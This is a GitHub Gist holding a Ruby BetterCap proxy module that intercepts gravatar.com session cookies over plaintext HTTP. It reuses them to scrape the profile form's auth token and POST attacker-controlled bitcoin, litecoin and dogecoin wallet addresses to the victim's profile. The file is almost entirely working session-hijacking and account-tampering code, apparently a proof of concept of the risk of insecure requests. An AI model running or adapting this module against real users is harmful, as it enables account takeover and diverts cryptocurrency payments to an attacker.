Created
February 12, 2018 20:25
-
-
Save groovecoder/cd66b8b9527917120787813352099448 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
=begin | |
BETTERCAP | |
Author : Luke "groovecoder" Crouch | |
Email : luke.crouch@gmail.com | |
Blog : http://groovecoder.com | |
This project is released under the GPL 3 license. | |
=end | |
require "nokogiri" | |
class UpdateGravatarWallets < BetterCap::Proxy::HTTP::Module | |
meta( | |
'Name' => 'UpdateGravatarWallets', | |
'Description' => "Intercepts gravatar.com session cookies and uses them to update the victim's gravatar profile's crypto-currency wallet addresses.", | |
'Version' => '1.0.0', | |
'Author' => "Luke 'groovecoder' Crouch", | |
'License' => 'GPL3' | |
) | |
def on_request( request, response ) | |
# Hack insecure requests to gravatar.com | |
if request.host == "www.gravatar.com" and response.content_type =~ /^image\/png/ | |
BetterCap::Logger.info "Hacking http://#{request.host}" | |
cookie = request.headers['Cookie'] | |
auth = "" | |
# get the auth value for the form-profile | |
uri = URI('https://en.gravatar.com/profiles/edit/#currency-services') | |
Net::HTTP.start(uri.host, uri.port, :use_ssl => true) do |http| | |
request = Net::HTTP::Get.new uri | |
request['Cookie'] = cookie | |
response = http.request request | |
body = response.read_body | |
doc = Nokogiri::HTML(body) | |
input = doc.css('input[name="auth"]').first | |
auth = input['value'] | |
end | |
# POST new wallet addresses using the hijacked cookie and the auth value | |
Net::HTTP.start(uri.host, uri.port, :use_ssl => true) do |http| | |
request = Net::HTTP::Post.new uri | |
request['Cookie'] = cookie | |
request.set_form_data('auth' => auth, | |
'panel' => 'currency-services', | |
'currency.bitcoin' => 'attacker-bitcoin-address', | |
'currency.litecoin' => 'attacker-litecoin-address', | |
'currency.dogecoin' => 'attacker-dogecoin-address', | |
'save' => 'Save Currencies') | |
response = http.request request | |
end | |
end | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment